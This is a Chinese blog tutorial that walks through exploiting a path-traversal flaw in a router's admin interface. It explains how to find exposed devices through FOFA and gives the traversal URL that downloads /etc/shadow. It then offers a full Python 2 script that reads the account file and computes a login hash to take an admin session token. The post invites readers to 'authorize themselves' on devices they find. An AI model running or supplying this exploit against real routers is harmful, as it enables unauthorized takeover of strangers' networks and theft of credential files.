路由器漏洞复现_看了之后每个人都是黑客

44cca70e0acb4c83b78e06f7f1aca1b4.png

本章讲的是这个漏洞!原理自己看https://www.seebug.org/vuldb/ssvid-98122 

首先第一步我们在fofa上搜索关键词:

 923e6bef267046ebb2fff99db86f94e7.png

如下我们就能看到很多名为: 

addc98f4908541c9905a8a9a60287a6b.png

随便进入一个(我这里已经自己给自己授权了你懂的:) 

进去之后如下:

636cba62a6514af498712c2395064754.png

然后我们在url中输入我们得测试语句如下:

 

http://这里是目标得ip地址/api-third-party/download/extdisks../etc/shadow

相当于说在你测试得目标后面加上:/api-third-party/download/extdisks../etc/shadow

ba957489075a44bfa06db00cfbcc8844.png

 

当下载了文件即代表存在漏洞

a2c6b941d8d541e7ac2654e8bd8616cc.png

 接下来使用我提供给你得脚本(很好你离黑客又近了一步):注意这个代码是python2编写的,没有python环境得去搜索如何搭建python2环境

 

# -*- coding: utf-8 -*-
import os
import re
import time
import base64
import random
import hashlib
import requests
from Crypto.Cipher import AES

# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}
ip = raw_input("please input ip_address: ")
ip1 = ip+ "cgi-bin/luci/web"
#  "http://192.168.31.1/api-third-party/download/extdisks../etc/config/account
ip2 = ip + "api-third-party/download/extdisks../etc/config/account"
ip3 = ip + "cgi-bin/luci/api/xqsystem/login"
def get_mac():
    ## get mac
    r0 = requests.get(ip1, proxies=proxies)
    mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]
    # print(mac)    
    return mac

def get_account_str():
    ## read /etc/config/account
    r1 = requests.get(ip2, proxies=proxies)
    print(r1.text)
    account_str = re.findall(r'admin\'? \'(.*)\'', r1.text)[0]
    return account_str

def create_nonce(mac):
    type_ = 0
    deviceId = mac
    time_ = int(time.time())
    rand = random.randint(0,10000)
    return "%d_%s_%d_%d"%(type_, deviceId, time_, rand)

def calc_password(nonce, account_str):
    m = hashlib.sha1()
    m.update((nonce + account_str).encode('utf-8'))
    return m.hexdigest()

mac = get_mac()
account_str = get_account_str()
## login, get stok
nonce = create_nonce(mac)
password = calc_password(nonce, account_str)
data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)
r2 = requests.post(ip3, 
    data = data, 
    headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},
    proxies=proxies)
# print(r2.text)
stok = re.findall(r'"token":"(.*?)"',r2.text)[0]
print("url:"+ip+"cgi-bin/luci/;"+"stok="+stok+"/web/home#router")

代码功能分析可以不看直接跳过:

这段代码的功能是用于从指定的 IP 地址获取设备的 MAC 地址、读取 `/etc/config/account` 文件中的账户信息,并通过对这些信息进行处理后,进行登录并获取一个 token (stok)。

代码逐行解析如下:

1. 导入所需的模块和库。
2. 定义代理设置,可选择使用代理服务器(注释中的第一行)或不使用代理(第二行)。
3. 要求用户输入 IP 地址。
4. 根据用户输入的 IP 地址拼接出不同的 URL,分别用于获取设备的 MAC 地址、读取账户信息和登录。
5. `get_mac()` 函数发送请求,从返回的页面中提取设备的 MAC 地址。
6. `get_account_str()` 函数发送请求,从返回的页面中提取 `/etc/config/account` 文件中的账户信息。
7. `create_nonce(mac)` 函数根据提供的 MAC 地址创建一个随机数。
8. `calc_password(nonce, account_str)` 函数将随机数和账户信息进行哈希运算,得到一个密码。
9. 调用之前定义的函数,获取 MAC 地址和账户信息,并使用它们生成密码。
10. 使用生成的密码和其他信息构建 POST 请求的数据。
11. 发送登录请求,并从返回的页面中提取 token (stok)。
12. 打印最终的 URL,包含获取到的 IP 地址和 token (stok)。

这段代码主要涉及网络请求、正则表达式匹配和哈希运算等操作,用于实现设备登录功能。
 

运行脚本:58b4a297fec34df1a82597e56d512a2a.png

 然后:79e3eacf7b4b4250a59020cb1cabffac.png

然后运行 :

c67345597ec34477af571a8d95742fa1.png

成功进入后台:

9e09d55d5cd6437ebe061f8d62485b6d.png 

本次只做演示,不要做违法得事情,与我无关! 

 

 

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值